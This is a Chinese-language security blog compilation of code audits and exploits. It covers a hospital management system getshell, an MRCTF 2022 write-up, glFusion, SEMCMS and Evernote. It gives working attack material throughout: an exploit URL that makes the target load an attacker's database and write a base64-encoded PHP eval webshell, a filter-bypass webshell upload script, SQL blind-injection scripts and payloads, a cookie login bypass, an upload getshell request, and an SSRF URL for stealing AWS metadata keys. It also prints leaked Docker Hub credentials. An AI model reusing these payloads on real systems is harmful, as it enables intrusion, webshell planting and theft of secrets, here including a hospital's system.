实战:某医院管理系统Getshell

前言

其实这周打算开始学Blockchain智能合约的,但是网络不行。。。先鸽一下。

起因是之前在等核酸结果,就顺便看了一下医院的管理系统,发现是某博,但好像并不是普通版本。下载下来审计一下。

安装

其实这一步没啥说的,但是很有可能会遇到因浏览器、编辑器编码格式不同造成的乱码,记得修改一下,不过有可能自己写的代码会报错。。。

代码审计

变量覆盖+Getshell组合拳

是一个老洞了,这张图一年之前我见过

image.png

我们直接去看fujsarticle.php

image.png

跟进global.php

require_once(dirname(__FILE__)."/"."../inc/common.inc.php");    //核心文件

引用了/inc/common.inc.php,继续跟进,在其中就能找到一段有问题的代码,

<?php
...
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
...
foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。

具体情况我们可以编写一段代码测试一下:

<?php
error_reporting(0);
$id=111111;
echo $id;
echo "</br>";

foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
$id;
echo $id;
?>

请求?id=test 会将$id的值覆盖

image.png

简单来说id在一开始被初始化,后来经过foreach进行遍历,变量就会被覆盖。同理,当我们构造FileName时,遍历后没有再次初始化,导致变量覆盖。然后FileName进行传递

<?php
...
$FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/";
if($type=='like'){
    $FileName.=floor($id/3000)."/";
}else{
    unset($id);
}
...
if(!is_dir(dirname($FileName))){
    makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
    write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");
}

image.png

image.png

<?php 
$show=stripslashes('<div class=\\\'side_t\\\' style=\\\'height:24px;background:url(http://localhost/qibo_v7/images/default/ico_block.gif) no-repeat 0px 3px;padding-left:15px;\\\'><A target=\\\'_blank\\\' HREF=\\\'http://localhost/qibo_v7/bencandy.php?fid=14&id=542\\\' title=\\\'</div>'); ?>

在当前目录生成了hint.php,并生成了特定内容。

同理,我们可以覆盖指定文件导致数据库配置错误/data/mysql_config.php

这只是第一步,接下来准备想办法写入shell。

跟进jf.php

<?php
require(dirname(__FILE__)."/"."global.php");

$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);

$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){
    $fnameDB[$rs[fid]]=$rs[name];
    $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
    while($rs2 = $db->fetch_array($query2)){
        eval("\$rs2[title]=\"$rs2[title]\";");
        eval("\$rs2[content]=\"$rs2[content]\";");
        $jfDB[$rs[fid]][]=$rs2;
    }
}

require(ROOT_PATH."inc/head.php");
require(html("jf"));
require(ROOT_PATH."inc/foot.php");

?>

会查询qb_jfaboutqb_jfsort两个表内的数据,并且结合后面的eval语句,我们可以在表内插入恶意语句

<?php
$string1 = "sp4c1ous";
$string2 = "BigPowercat";
$str = '$string1 & $string2 are gay';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?> 

image.png

注意这个地方,字符串输出在双引号之内,会将其看成为普通的字符串,但是输出在双引号之外的就会当成代码来执行。

那么有人问了,这两个人是谁呢?他俩是不在乎世俗偏见的一对,这就是爱情啊。

那我们如何写入恶意语句呢?其实不用我们写进去,我们在自己的数据库新建自己的两个命名为qb_jfaboutqb_jfsort的表,在第一个表的titlecontent插入语句,然后借助file_put_contents

不能只简单地写入,还要记得闭合引号

id fid list title content
1 1 1 "+$_GET[a]($_GET[b]);+" "+$_GET[a]($_GET[b]);+"
id fid name list
1 1 1 1
/do/jf.php?dbuser=数据库用户&dbpw=数据库密码&dbhost=数据库地址&dbname=数据库名称&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${file_put_contents(base64_decode('aGFjay5waHA='),base64_decode('PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+'))};

就会在当前目录生成我们的shell,蚁剑连接。

2022 MRCTF parly Writeup

Bonus

Just Hacking

Metasploit打Redis

Y4T4A7IABGR186T.png

使用exploit/linux/redis/redis_replication_cmd_exec这个模块,我尝试了好几次,前几次一直没打通

APGPAN1P78UJQ9RDR6.png

打通以后,找docker信息

DNALCE4QEOA_868Z98B.png

base64解密一下,就解出来用户名密码

mrctfbooker:WZ8npSK4T

dockerhub直接登录,可以找到alpine私有镜像

image.png

直接pull下来然后运行

1SEBEXRK_M_88YAJK4G.png

MISC

checkin

image.png

ctrl+s保存下来源码,在里面直接就能搜到逻辑,简单分析一下

 if (stats.bestStreak === 100) {
      alert("TVJDVEZ7VzNsYzBtZV9UMF9tcjN0Zl8yMDIyX1FXUX0=");

base64解密一下就可

MRCTF{W3lc0me_T0_mr3tf_2022_QWQ}

Pixel

import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2

def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h # 或N=w
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
                new_y = ((-a)*ori_x + ori_y) % N
                decode_image[new_x, new_y] = image[ori_x, ori_y]
    cv2.imshow("image",decode_image)
    cv2.waitKey(1000)
    cv2.imwrite('2.png',decode_image)
    return decode_image
aaa = imread('flag.png')
arnold_decode(aaa, 10, 22,20)

WEB

Webcheckin

让传php文件,但是对php文件内容有过滤,所以我们绕过一下,我用的异或字符,下面是字典脚本

<?php

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

这个是利用脚本

# -*- coding: utf-8 -*-
import urllib.parse
import requests

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

param=action("system")+action('ls /var/log')+";"
data = "<?php " + urllib.parse.unquote(param)

files = {'file': ('shell.php', data, 'application/octet-stream')}
res = requests.post(url="http://webshell.node3.mrctf.fun/", files=files)
res2 = requests.get(url="http://webshell.node3.mrctf.fun/"+res.text)
print(res2.text)

打通5分钟,找flag一上午。。。

var/log目录下

image.png

cat dpkg.log

image.png

glFusion CMS V1.7.9 代码审计

三条CNVD记录

  • glFusion CMS v1.7.9存在任意用户注册漏洞,攻击者可利用该漏洞使用任何用户的邮箱进行注册。
  • glFusion CMS v1.7.9存在授权问题漏洞,攻击者可利用该漏洞通过/public_html/users.php进行攻击。
  • glFusion CMS v1.7.9存在访问控制错误漏洞,攻击者可利用该漏洞通过/public_html/comment.php进行攻击。

CMS

特点

  1. 支持很多类型
  2. 扩展性强,已安装几个插件
  3. 安全:最近,HP Fortify 执行了完整的源代码/Web 应用程序审计
  4. 开发人员友好:glFusion 有一个文档齐全的API,允许您通过现有的钩子和 API 开发插件、自动标记和其他自定义

目录结构

  • private

    • backups
    • data
    • language
    • lib
    • logs
    • plugins
    • sql
    • system
    • vendor
    • composer.json.PHPCLASSES
    • db-config.php.dist
    • emailglfusionstories
  • public_html

    • admin

    • backend

    • bad_behavior2

    • calendar

    • captcha

    • ckeditor

    • docs

    • filemgmt

    • filemgmt_data

    • forum

    • help

    • images

    • javascript

    • layout

    • links

    • mediagallery

    • polls

    • staticpages

    • 404.php

    • article.php

    • comment.php

    • css.php

  • LICENSE
  • VERSION

/admin/index.php

登录访问/admin/index.php,Xdebug监听访问请求进行调试。

auth.inc.php

先不看 lib-common.php ,先看看认证文件 auth.inc.php 。

require_once '../lib-common.php';
require_once 'auth.inc.php';

F7进入 auth.inc.php
检查常量GVERSION,判断该文件能否独立被访问。
调用函数 USES_lib_user(); 进行权限认证。
F7进入USES_lib_user();,跳转到lib-common.php

function USES_lib_user() {
global $_CONF;
require_once $_CONF['path_system'] . 'lib-user.php';
}

F7 进入 lib-user.php ,先看这个文件的用户鉴权。

用户鉴权 lib-user.php

// 1.删除用户账号
function USER_deleteAccount($uid){}
// 2.创建一个新密码并发送邮件给用户?
function USER_createAndSendPassword($username, $useremail, $uid, $passwd = ''){}
// 3.为用户创建uid
function USER_createActivationToken($uid,$username){}
// 4.发送邮件通知用户已激活
function USER_sendActivationEmail ($username, $useremail){}
// 5.创建一个新的用户账号
function USER_createAccount ($username, $email, $passwd = '', $fullname = '',$homepage = '', $remoteusername = '', $service = '', $ignore = 0)
// 6.用户注册时发送邮件
function USER_sendNotification ($username, $email, $uid, $mode='inactive')
// 7.获取用户上传或外部引用的照片
function USER_getPhoto ($uid = 0, $photo = '', $email = '', $width = 0, $fullURL
= 1)
// 8.删除用户照片
function USER_deletePhoto ($photo, $abortonerror = true)
// 9.把用户添加到用户组
function USER_addGroup ($groupid, $uid = '')
// 10.从用户组中删除用户
function USER_delGroup ($groupid, $uid = '')
// 11.检查邮箱地址
function USER_emailMatches ($email, $domain_list)
// 12.确保用户名不重复
function USER_uniqueUsername($username)
// 13.检查用户名中是否包含无效字符
function USER_validateUsername($username, $existing_user = 0)
// 14.去除name中不允许的字符
function USER_sanitizeName($text)
// 15.获取子用户组
function USER_getChildGroups($groupid)
// 16.生成一个密码
function USER_createPassword ($length = 7)
// 17.建立用户有权限访问的topic的清单
function USER_buildTopicList ()
// 18.xxx
function USER_mergeAccountScreen( $remoteUID, $localUID, $msg='' )
// 19.Un-Merge User Accounts
function USER_unmergeAccounts()
// 20.Merge User Accounts
function USER_mergeAccounts()
uid(先看uid再说用户权限模型)

276行是生成token的代码。token通过加密,且加密方式是哈希、加密内容包含随机数。token的作用是cookie。

uid是什么时候生成的?应该是用户注册时。查看注册功能点,位于文件/user.php?mode=new

function USER_createActivationToken($uid,$username)
{
global $_CONF, $_TABLES;
$token = md5($uid.$username.uniqid (mt_rand (), 1));
DB_query("UPDATE {$_TABLES['users']} SET
act_token='".DB_escapeString($token)."', act_time=NOW() WHERE uid=".$uid);
return $token;
}

filemgmt插件文件上传

上传点URL:http://127.0.0.1/glfusion-1.7.9/public_html/admin/plugins/filemgmt/index.php?lid=1&op=modDownload

查看 /admin/plugins/filemgmt/index.php 文件(该部分分析的主要文件),全文搜索 jpeg 。

不太容易找到关键代码,开Xdebug进行调试。

定位执行函数
// 34行,通用配置和鉴权代码
require_once '../../../lib-common.php';
require_once '../../auth.inc.php';
USES_lib_admin();
。。。
// 118行,创建了三个类,插件配置代码
// 第三个是错误处理类,用于处理异常情况
// 第二个使用 __construct()初始化赋值了数据库的数据库名、表名、id名、pid名
$myts = new MyTextSanitizer;
$mytree = new XoopsTree($_DB_name,$_TABLES['filemgmt_cat'],"cid","pid");
$eh = new ErrorHandler;

接收参数之后,使用 SEC_hasRights() 函数进行校验,因为不走该流程所以暂时忽略。

// 44行,对参数使用过滤器后赋值
$op = isset($_REQUEST['op']) ? COM_applyFilter($_REQUEST['op']) : '';

文件有效执行:switch语句选择 option

从一百多行开始,一直都是定义的 function() 代码,直到1493行,对操作参数使用 switch 语句。

这些操作参数,就是该插件的操作。

文件上传操作,传递的操作参数是 op=modDownloadS ,接下来跟进该函数。

switch ($op) {
default:
mydownloads();
break;
case "comment":
filemgmt_comments($firstcomment);
break;
case "delNewDownload":
delNewDownload();
break;
case "addCat":
addCat();
break;
case "addSubCat":
addSubCat();
break;
case "addDownload":
addDownload();
break;
case "listBrokenDownloads":
listBrokenDownloads();
break;
case "delBrokenDownloads":
delBrokenDownloads();
break;
case "ignoreBrokenDownloads":
ignoreBrokenDownloads();
break;
case "approve":
approve();
break;
case "delVote":
delVote();
modDownload();
break;
case "delCat":
delCat();
break;
case "modCat":
modCat();
break;
case "modCatS":
modCatS();
break;
case "modDownload":
modDownload();
break;
case "modDownloadS":
modDownloadS();
break;
case "delDownload":
delDownload();
break;
case "categoryConfigAdmin":
categoryConfigAdmin();
break;
case "newfileConfigAdmin":
newfileConfigAdmin();
break;
case "listNewDownloads":
listNewDownloads();
break;

操作函数 modDownloads()

F7进入函数,跳转到该文件 744 行,下断点。
该函数末尾代码是 exit() ,说明该函数是最后执行的函数,代码数 130+ 。接下来分析该操作。

上传操作函数 modDownloads()

文件744行开始,该函数代码有130行,首先对不关键的代码进行文字说明,着重分析关键代码。

该函数有两段上传处理代码,第一段在 761-816 行,处理上传文件变量 $newfile

第二段是 817-881行,处理上传文件变量 newsnapfile

两段上传代码都使用 /private/system/classes/upload.class.php 的 upload 类。

function modDownloadS() {
// 对传递参数使用 COM_applyFilter()函数处理后进行赋值
加载全局变量
开启demo_mode则退出程序
// 参数接收
接收参数cid
url参数:如果原图片文件存在,则对url代表的原文件执行操作
过滤后接收参数silentedit
过滤后接收参数owner_id
lid参数:*
// 获取文件
获取文件名:使用 MyTextSanitizer->makeTboxData4Save()处理新文件的文件名
// 创建上传类的实例,对上传文件进行处理。765-810行代码
$upload->setFieldName('newfile');
$upload->setPath($filemgmt_FileStore);
$upload->setAllowAnyMimeType(true); // allow any file type
$upload->setMaxFileSize(100000000);
$upload->setMaxDimensions(8192,8192);
$upload->uploadFiles();

系统内置上传类 /private/system/classes/upload.class.php

upload类代码后,上传的文件是 phpinfo.php。

image.png

index.php,784行,又一层校验,把后缀php修改成phps.

$pos = strrpos($newfile,'.') + 1;
$fileExtension = strtolower(substr($newfile, $pos));

795行,复制 phpinfo.php 生成 phpinfo.phps。

801行,删除 phpinfo.php,此时文件夹只剩下 phpinfo.phps 文件,文件上传漏洞。

filemgmt\index.php操作数

默认情况:mydownloads()

switch语句如下:

default:
mydownloads();
break;

检索mydownloads,定位到函数位置122行。接下来走一下代码流程。

function mydownloads() {
//全局变量
//接收目录参数并过滤
//设置展示参数
// 从数据库查询目录列表,是写死的语句
$sql = "SELECT * FROM {$_TABLES['filemgmt_cat']} WHERE pid=0 ORDER BY title
ASC";
展示各个目录
}
第三种情况:delNewDownload()

检索 delNewDownload(,定位到964行。接下来走一下代码流程。

function delNewDownload() {
定义全局变量
// 接收lid参数并过滤处理
$lid = (int) COM_applyFilter($_POST['lid'],true);
// 传入表名、变量名、变量值。如果函数执行结果,弱比较等于1
if (DB_count($_TABLES['filemgmt_filedetail'],'lid',$lid) == 1) {
// 设置临时名、临时文件名、临时主机名。可能存在SQL注入,查看函数DB_getItem()
$tmpnames =
explode(";",DB_getItem($_TABLES['filemgmt_filedetail'],'platform',"lid=$lid"));
// delete语句,大概率存在SQL注入。
// 看两个函数,过滤函数COM_applyFilter(),查询函数DB_query()
DB_query("DELETE FROM {$_TABLES['filemgmt_filedetail']} WHERE
lid=$lid");
DB_query("DELETE FROM {$_TABLES['filemgmt_filedesc']} WHERE lid=$lid");
//如果临时文件名不为空、文件存在、非目录,则删除filemgmt_filedetail表格记录的文件。
//(任意文件删除应该无了)
//重定向index.php?op=listNewDownloads
//退出程序
}
情况:approve()

switch语句如下:

case "approve":
approve();
break;

检索 approve(,定位到1357行。接下来走一下代码流程。

function approve(){
//定义全局变量
//接收lib参数并做过滤处理
//接收参数title、cid、homepage、version、description
//接收size参数并做过滤处理
// 如果指定URL,则调用 $myts->makeTboxData4Save()函数,再使用rawurlencode()函数处理
// 看一个类、两个函数
if (($_POST['url']) || ($_POST['url'] != '')) {
$name = $myts->makeTboxData4Save($_POST['url']);
$url = rawurlencode($name);
}
//对POST参数做相似处理:logourl
// 看SQL语句,妥妥的SQL注入
// 看函数DB_query()
$result = DB_query("SELECT COUNT(*) FROM {$_TABLES['filemgmt_filedetail']}
WHERE url='$url' and status=1");
list($numrows) = DB_fetchArray($result);
//如果filemgmt_filedetail表存在该URL记录,则报错1108
//对参数纷纷使用$myts->makeTboxData4Save()函数进行保存
// 根据lid查询filemgmt_filedetail表,处理文件可能已经存在的情况
$tmpnames =
explode(";",DB_getItem($_TABLES['filemgmt_filedetail'],'platform',"lid='$lid'"))
;
//如果文件已存在且不是目录,则执行 @rename() 和 @chmod() 函数。

某最新版商贸系统的代码审计

前言

起源于社团大佬发出的一张图片,最近没事就练一下代码审计吧。。。然后电脑坏了,借了一台win11的,凑合着用吧。

SQL注入

这个CMS的SQL注入挺多的,我就写一下前台利用吧。

第一处

我们直接看一下他写的waf

<?php
include_once "class.phpmailer.php"; 
// 防sql注入

if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get

foreach ($GetArray as $value){ //get

    verify_str($value);

}

function inject_check_sql($sql_str) {

     return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
} 

function verify_str($str) { 

   if(inject_check_sql($str)) {

       exit('Sorry,You do this is wrong! (.-.)');
    } 

    return $str; 
} 

逻辑比较简单,利用正则,所有通过 GET 传参得到的参数经过verify_str函数调用 inject_check_sql 函数进行参数检查过滤,如果匹配黑名单,就退出。

  1. 子查询语句被禁用了
  2. 不能有单引号(当SQL的变量包被单引号括起来时不能用单引号闭合)
  3. 没有办法绕过空格

但是这个地方很明显黑名单过滤不严格,而且没有对POST方法进行限制,这样的话我们直接找利用POST方法传参的地方进行构造。

image.png

if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}

但是又有test_input函数进行限制。

function test_input($data) { 
      $data = str_replace("%", "percent", $data);
      $data = trim($data);
      $data = stripslashes($data);
      $data = htmlspecialchars($data,ENT_QUOTES);
      return $data;

   }

具体实现四个功能

  1. 将%替换为percent
  2. trim() 函数移除字符串两侧的空白字符或其他预定义字符,比如/t(制表符),/n(换行),/xb(垂直制表符),/r(回车),(空格)。 功能除去字符串开头和末尾的空格或其他字符。 函数执行成功时返回删除了string字符串首部和尾部空格的字符串,发生错误时返回空字符串("")。 如果任何参数的值为NULL,Trim() 函数返回NULL
  3. stripslashes()删除反斜杠(不能使用反斜杠转义SQL语句中的单引号或双引号)
  4. html转义

明确了这些,剩下的就比较简单了,在任意包含web_inc.php的页面在languageID处构造sql注入语句,以POST方式进行传参,就可以实现。

ascii substr等函数以及大于号小于号并没有被过滤,我们可以盲注测试一下(构建CMS的时候已经知悉数据库名字了,我们直接从相对应ascii进行测试)

ID = 10 and ascii(substr((database()),1,1))>110

或者是

languageID = 2 and ascii(substr(database(),1,1))^109

附一份脚本:

import requests

url = "http://localhost"
database=""

for i in range(1,6):
    for j in range(97,127):
        payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)

        data = {"languageID":payload}
        #print(payload)
        c=requests.post(url=url,data=data).text
        if "Empty!" in c:
            database+=chr(j)
print(database)

第二处

$web_urls=$_SERVER["REQUEST_URI"];  //获取 url 路径
$web_urls=explode("/", $web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn);  // 大写的问号。

跟进web_language_ml方法:

function web_language_ml($web_urls1,$web_urls2,$db_conn){

  $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");

      if (mysqli_num_rows($query)>0){

          $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");
          $row=mysqli_fetch_assoc($query);
          $Urlink=array('url_link'=>$row['language_url'],'url_ml'=>"../",'ID'=>$row['ID']);

      }else{

         $query=$db_conn->query("select * from sc_language where language_mulu=1 and  language_open=1");
         $row=mysqli_fetch_assoc($query);
         $Urlink=array('url_link'=>"",'url_ml'=>"./",'ID'=>$row['ID']);

      }

    return $Urlink; 
}

可以看到$web_urls会被放入数据库语句执行,由于$web_urls获取没有经过过滤函数,所以可以确定存在SQL注入。
但是某些特殊字符在GET传参时,被url编码了,比如双引号,大于号小于号,不过这个地方单引号没有被过滤,可以闭合;而且空格也会被处理,%0a%ob也会被认为字符串,/**/的方法也不行。

我们可以尝试这样构造:

/index.php/'or(sleep(3))or' 

完整SQL语句:

/index.php/1’or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!=’sc_banner’),1,1)>’a’,sleep(15),1)#

SQL注入绕过登录

function checkuser($db_conn){ //判断用户是否登陆

    $cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
    $cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));

    $query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");

    if (mysqli_num_rows($query)>0){

         $row=mysqli_fetch_assoc($query);
         return $row['user_qx'];

     }else{

        echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";
        exit; 
    }

}

获取Cookie中的用户名密码构成sql语句,以单引号格式进行拼接,我们可以恶意构造

select * from sc_user where user_admin='111\' and user_ps='or 1#'

此时,原语句中的SQL单引号被转义,同时编辑cookiescuseradminscuserpass的值

后台文件上传+Getshell

制作一份php内容的图片

image.png

在后台管理页面添加此照片image.png

BurpSuite拦截进行修改

POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3369516516527364944820946580
Content-Length: 830
Origin: http://localhost
Connection: close
Referer: http://localhost/SEMCMS3.9/OSWttq_Admin/SEMCMS_Upload.php?Imageurl=../Images/prdoucts/&filed=images_url&filedname=forms
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="wname"

111
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="imageurl"

../Images/prdoucts/
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filed"

images_url
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filedname"

forms
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3369516516527364944820946580--

在我们重命名的时候修改重命名文件为111.jpg.php:进行保存,这是我们看后台保存图片已经写入,但是没有数据。

第二次提交,提交同样的图片,这一次我们修改上传文件名为test.jpg<<<

接着访问,成功实现

image.png

首先是为什么能成功解析成php文件?

      if (test_input($_POST["wname"])!==""){//自定义文件名

        $newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名 

我觉得这个地方能够上传成功与文件名命名格式有关,众所周知,英文状态下冒号是不允许存在的,应该是这个地方产生了截断,导致后面的.jpg没有被拼接上。

但是我不太明白一个地方就是怎么将php写入的,于是全局搜索file_put_contents,只有3处使用,相对比较可疑的是:

function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){

       if ($htmlopen==1){$ml="j";}else{$ml="d";}

        $template="index.php,hta/".$ml."/.htaccess"; //开始应用模版
        $template_mb=explode(",",$template);//以,分割为数组

        for($i=0;$i<count($template_mb);$i++){

              $template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);

              $templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);
              $output = str_replace('<{Template}>', $mb, $template_o);
              $output = str_replace('<{dirpaths}>', $dirpaths, $output);

          file_put_contents($templateUrl, $output);

           }

}

这个地方的$mb是可控的

image.png

这里file_get_contents()str_replace() 就是从模板目录下提取index.php和.htaccess文件然后替换<{Template}>写入到主目录下

理论上这个地方也可以Getshell,但这个地方我还是不太明白到底test.jpg<<<是如何写入的,希望有大佬能教教我~

四月份的第一篇技术文章

印某笔记的两个漏洞

RCE(安卓端的)

影响版本:

安卓app小于10.24通杀

简单描述:

在印象笔记,我们可以添加附件,并且可以选择重命名添加的附件。

但是有一个地方,那就是我发现附件重命名时特殊字符不受限制,例如test.so 可以将使用名称上传的文件重命名为../../../lib-1/test.so,下载附件时使用文件名下载../../../lib-1/test.so。应用程序也不会清理接收到的文件名,因此当用户单击附件时,附件不会下载到/data/data/com.evernote/cache/preview/:UUID/,而是下载我们搭载恶意载荷的/data/data/com.evernote/lib-1/test.so

这个地方我想了下,还是脱敏吧,但是我可以发.so文件,可以取用。
  1. 将本机库 poc 文件添加到注释。并重命名为我上面提到的那种格式
  2. 让目标去点我们的恶意文件
  3. 然后复制内部链接,再复制网页链接或复制应用程序链接(这是 android 深层链接,可以从网站触发)安卓内部链接,然后进行分享。
  4. 只要目标点击我们分享的附件,然后关闭应用后,重新进入印象笔记。利用adb shell我们就可以实现rce

image.png

SSRF

这个SSRF已经修复了。。。但是我稍微提一下吧。

灵感来自于这篇文章:https://blog.csdn.net/weixin_36322454/article/details/112652003

其实和印象笔记的编码格式有关,是base64,解密一下就能显示出原文, ZmlsZTovLy92YXIvd3d3L2h0bW1sLyMuanM=

解出来以后,会发现有一个#进行截断,这个地方之所以使用#是因为 url 的结尾必须在 javascript 中,但要在 uri 之中注释掉,然后我们用file://进行获取本地文件

读取AWS EC2元数据

为了对url参数进行相应的修改,需要查看当前运行实例中所有类别的实例元数据,

若想SSRF,可以试一下下这个,不过被修好了。。。https://www.evernote.com/ro/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8jLmpz/-1430533899.js

这样,我们就能读取秘密访问密钥、令牌等机密信息了。之后,将这些信息导出后,就可以通过亚马逊云的客户端访问……这个,你们懂的。

简单来说,利用这里的安全权限,我们就可以通过SSRF漏洞实现RCE了。